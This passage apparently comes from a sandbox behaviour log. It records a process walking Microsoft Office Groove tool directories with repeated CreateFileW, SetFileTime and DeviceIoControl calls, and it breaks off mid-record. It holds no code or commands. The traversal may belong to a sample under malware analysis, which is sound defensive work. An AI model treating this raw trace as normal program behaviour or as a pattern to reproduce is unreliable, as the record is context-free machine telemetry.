dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.306] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7ee1c, lpLastWriteTime=0x1a7ee1c) returned 0 [0145.306] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ee74, lpOverlapped=0x0) returned 0 [0145.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.308] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7eb64, lpLastWriteTime=0x1a7eb64) returned 0 [0145.308] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7ebbc, lpOverlapped=0x0) returned 0 [0145.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.311] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.311] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1a98048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1a98048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.316] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.316] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.320] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.320] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.323] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.323] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.325] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.325] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.327] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.327] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.332] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.332] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa79438, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0xa79438, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.337] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e5f4, lpLastWriteTime=0x1a7e5f4) returned 0 [0145.337] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0) returned 0 [0145.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1ac [0145.342] SetFileTime (hFile=0x1ac, lpCreationTime=0x0, lpLastAccessTime=0x1a7e5f4, lpLastWriteTime=0x1a7e5f4) returned 0 [0145.342] DeviceIoControl (in: hDevice=0x1ac, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0) returned 0 [0145.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.346] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.346] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.351] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e5f4, lpLastWriteTime=0x1a7e5f4) returned 0 [0145.352] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0) returned 0 [0145.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.355] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.355] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.357] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.357] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Biscay" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\biscay"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.358] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.358] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightOrange" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightorange"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.358] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.358] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\BrightYellow" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\brightyellow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.359] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.359] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Desert" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\desert"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.360] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.360] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\GrayCheck" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\graycheck"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.360] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.360] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.362] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.362] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Oasis" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\oasis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.362] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.362] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Slate" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\slate"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.363] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.363] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SoftBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\softblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.363] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.364] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.364] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.365] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\STS2" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\sts2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1a8 [0145.365] SetFileTime (hFile=0x1a8, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.366] DeviceIoControl (in: hDevice=0x1a8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.366] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.366] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.368] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e8ac, lpLastWriteTime=0x1a7e8ac) returned 0 [0145.368] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e904, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e904, lpOverlapped=0x0) returned 0 [0145.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.374] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e5f4, lpLastWriteTime=0x1a7e5f4) returned 0 [0145.374] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e64c, lpOverlapped=0x0) returned 0 [0145.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Americana" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\americana"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x19c [0145.378] SetFileTime (hFile=0x19c, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, lpLastWriteTime=0x1a7e33c) returned 0 [0145.378] DeviceIoControl (in: hDevice=0x19c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1aa0048, nOutBufferSize=0x4000, lpBytesReturned=0x1a7e394, lpOverlapped=0x0 | out: lpOutBuffer=0x1aa0048, lpBytesReturned=0x1a7e394, lpOverlapped=0x0) returned 0 [0145.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\BabyBlue" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\babyblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0145.380] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x1a7e33c, 